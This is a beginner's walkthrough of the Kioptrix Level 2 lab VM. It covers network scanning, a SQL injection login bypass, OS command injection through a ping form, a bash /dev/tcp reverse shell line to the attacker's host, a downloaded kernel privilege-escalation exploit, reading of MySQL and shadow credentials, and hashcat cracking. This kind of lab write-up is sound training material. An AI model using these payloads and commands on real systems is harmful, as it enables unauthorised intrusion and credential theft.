In reviewing multiple blogs and websites, the Kioptrix series is supposed to be for penetration tester beginners and is rumored to be similar to the challenges within Offensive Security’s PWK coursework. Since I classify myself as a beginner, my goal is to work through this series and document my findings along the way.
Setup:
Download the Kioptrix VM from Kioptrix.com and use RAR to expand the compressed file. Since my Host machine is Linux (Ubuntu 16.04), I launched VMWare Player and selected the updated “Kioptrix Level 2.vmx” file.
I referred to the VulnHub.com site to review the Virtual Machine Information, Networking, as well as expected screen shots once the Kioptrix system had been started. Since Kioptrix uses DHCP, one has the choice of using Private Networking or Bridged Networking. I had a little trouble with the primary NIC saving settings, so I ended up adding a second NIC for Private Networking in order to keep Kioptrix off of my production network.
Since I am using a Private Network, I decided to deploy the 32-bit VMware Image of Kali Linux from Kali.org. However, I also added a Bridged NIC so that I could remotely connect from a system located on my production network. In addition, I created a Kioptrix_2 directory within root’s home directory, on the Kali system, to capture and store files.
Victim Description:
Based on reviewing the VulnHub.com site, the listed vulnerabilities are OS command injection, privilege escalation, and SQL injection. In addition, there is a text flag that can be captured.
Information Gathering:
Since I am using a Private Network on a remote Linux Host, I chose to review the network settings on the Kali system to determine the Private Network IP Address and Subnet Mask.
With the Kali system’s IP Address and Subnet Mask obtained, Nmap for an initial scan of the subnet was used.
The parameters used for Nmap will perform an Aggressive Ping scan of the 172.16.209.0/24 subnet and then output the findings into three different file formats starting with the name of NmapFast.
Using the output file that ends with the “.gnmap” extension, issue the cat command and pipe in the grep command to find the key word of “Up”. In addition, add an additional pipe to issue the cut command to only copy the IP Addresses, from the second column, to output to the LiveHosts file.
In reviewing the returned IP Addressing of the LiveHosts file, we know that 172.16.209.1 and 172.16.209.254 are assigned to the VMWare Private Network. In addition, we know that 172.16.209.129 is the Kali system. So, through the process of elimination, the Kioptrix system is 172.16.209.128.
In order to save time on scanning, remove the non-Kioptrix IP Addresses from the LiveHosts file prior to issuing the second Nmap scan.
This time, the Nmap command will use the LiveHosts input file to perform an Aggressive Service scan, this treats all hosts as being online, to probe all TCP SYN ports and then output the findings into three different file formats starting with the name of NmapFull.
Reviewing the Nmap scan results, TCP Ports 80 and 443 are using Apache Server version 2.0.52. Also, TCP Port 22 is using Open SSH version 3.9p1, TCP Port 631 is using CUPS 1.1, and TCP Port 3306 is using MySQL (version unknown at this time).
To take a closer look at TCP Ports 80, I launched Nitko with the host, port, and output file parameters.
Nikto did find a few vulnerabilities. At first glance, there does not appear to be an exploit for a remote shell.
Exploiting SQL Injection:
After completing the initial information gathering, I decided to explore the Kioptrix Apache server by connecting to the web site via a web browser.
Once connected to the website, I made the assumption that the login credentials were being authenticated against a MySQL database. This assumption was based on the initial Nmap scan uncovering port 3306. So, I entered in the command of “blah’ OR 1=1 — “ in the Username field and then clicked the Login button.
Success! The SQL injection was able to login as the first account within the table.
Based on the successful login, a Ping utility page was displayed.
To test the Ping utility page, enter the loopback address and click on the Submit button.
The Ping utility script opens a second browser tab and displays the results of the ping.
Exploiting OS Command Injection:
Since the Ping utility script works, the next step is to determine if the code is vulnerable to command injection.
Utilizing the field box with the loopback address, add a “;” (command separator) followed by “cat /etc/passwd” and then click on the Submit button.
Interesting. The script opens the second tab and displays the results of the ping as well as the contents of the /etc/passwd file.
Utilizing the Ping utility script again, lets determine if we can perform some enumeration.
Enter the loopback address and add “; uname -ar” in the field box to determine information about kernel.
Again, the script opens the second tab and displays the results of the ping as well as the information about the kernel. I will make note of the kernel version to research for possible vulnerabilities later.
One more time, enter the loopback address and add “; whoami” in the field box to determine the user information.
The results return in the second tab and the user is apache.
Now that it has been established that the script is vulnerable to command injection, let’s use Netcat on the Kali system to setup a listener on port 443 and attempt to gain a reverse shell.
Once Netcat is setup, enter the loopback address and “; bash -i >& /dev/tcp/172.16.209.129/443 0>&1” in the field box to initiate a reverse shell.
· bash -i>&: invoke bash with an interactive option
· /dev/tcp/172.16.209.129/443: redirect the session with the /dev/tcp device file
· 0>&1: use the standard output and redirect it to the standard input
The script launches a second tab with a blank page; which it appears to continually try to establish a connection.
On the Kali system, Netcat captures the connection from the Kioptrix system and displays “bash: no job control in this shell”. Simply press the Enter key from the keyboard and the bash prompt is displayed.
Within the shell, enter the whoami command to determine the user.
Like with the Ping utility, we are connected with the apache account.
Exploiting Privilege Escalation:
Continuing with the reverse shell, I needed to gather additional information about the Kioptrix system. So, I issued the command cat /etc/*-release to determine the OS version.
Great! Now that we know the OS was CentOS release 4.5 (Final), lets validate the kernel version we noted from above.
Next, I reviewed the searchsploit database installed on the local Kali system to determine if there was a vulnerability for CentOS 4.5 using kernel version 2.6.9–55.
I issued the -w switch with the parameters of linux, kernel,and CentOS to narrow the search. I reviewed the exploit that matched the version of the kernel and the OS.
Right-clicking on the hyperlink opened a browser and displayed the information about the vulnerability on the Exploit Database site. This is where I was able to determine that the OS was vulnerable to Local Privilege Escalation.
Once again, I issued the searchsploit command with the parameters of linux, kernel,and CentOS to determine if the local database had a copy of the exploit script.
After noting the vulnerability location, I copied the script to the Kioptrix_2 directory on the local Kali system.
The next step was to copy the script from the local Kali system to the Kioptrix system. To do that I used Python to start the SimpleHTTPServer on port 80. It should be noted that if the local Kali system is configured with Apache, it could be used instead of the SimpleHTTPServer.
Once the SimpleHTTPServer is running, return to the reverse shell and issue the wget command to copy the exploit script to the local Kioptrix system. Make sure that the wget command is launched from a directory that has read/write permissions with the apache account (i.e. /tmp).
The connection from Kioptrix to Kali will be displayed in the terminal where the SimpleHTTPServer was launched.
After the exploit script has been downloaded to the Kioptrix system, use gccto compile the script. Don’t forget to make the script executable with the chmod command.
Launch the privilege escalation script to obtain root.
Validate the current account by issuing the whoami command.
Bingo! We now are root.
When I was compiling the script on the Kioptrix system, I received a warning about no newline at the end of the file. I noticed what appears to be an issue with line 28 of the exploit script.
On the Kali system, I launched Gedit to enter a carriage return after line 28.
I then recompiled the modified script and no longer received the warning message.
Exploiting MySQL:
I realize that this section is a bit of a rabbit hole. However, I am using this opportunity to explore and learn as much as I can versus rooting and moving forward.
After obtaining root, I decided to explorer the .bash_history file located in the /root directory. I noticed that nano was used to open the /var/www/html/index.html file.
Investigating the /var/www/html/index.html file, I uncovered what appeared to be local MySQL credentials for the account of john. In addition, the credentials appeared to be associated to the database named webapp. Also, there is a POST command within the if statement that requires the parameters of uname and psw.
Moving on to investigate the /root/.mysql_history file, I found the executed commands used while connected to MySQL. Within the file, there are credentials for the john and admin accounts.
To gather information about the MySQL version, I issued the command of mysql -V.
As a side note, I know I could have used SQLmap in order to automate the following. However, I wanted to obtain the knowledge using the manual process.
With the captured credentials from above, I used the mysql command to query the databases installed within MySQL on the Kioptrix system.
I then used the mysql command to query the tables within the mysql database using the john account.
Using the mysql command again, I queried for the user, host, and password from the user table of the database named mysql.
Interesting. The hash for the accounts of john and root are identical. This means that the hiroshima password should work to obtain root access to MySQL. Let’s try it to see if it works.
Looks like the root credentials worked.
Continuing, I used the mysql command to query the tables for both the test and webapp databases.
One last time, I used the mysql command to query the users table from the webapp database.
Looks like we have credentials for the admin and john accounts.
Exploiting CUPS:
In researching vulnerabilities for CUPS 1.1, I did not find any useful exploits in attempting to root the Kioptrix system.
Capturing the Flag:
The VulnHub site notes stated that the flag is in a text file. However, I was not able to locate the flag using the find command.
In addition, I manually searched the /root, /home, and /var/www directories. But, could not find the flag.
Cracking:
While in a shell, it is a good practice to capture the /etc/passwd and /etc/shadow files for later use with a password cracker.
Once the files have been saved, use unshadow to create the password list.
Launch HashCat or your favorite password cracking tool against the new password text file.
Since my cracking rig has two GPU’s, I used the following to take advantage of pipe processing:
hashcat —stdout ~/rockyou.txt -r /opt/hashcat/rules/OneToRuleThemAll.rule | hashcat -m 500 -w 3 -a 0 k2_password.txt -o ~/KioprixPass.txt — session=Kioptrix_2
After an estimated three days of using the rockyou wordlist and the HashCat OneToRuleThemAll.rule, I have yet to recover a password. I will continue to try other rules to see if I can recover the passwords and provide an update if successful.
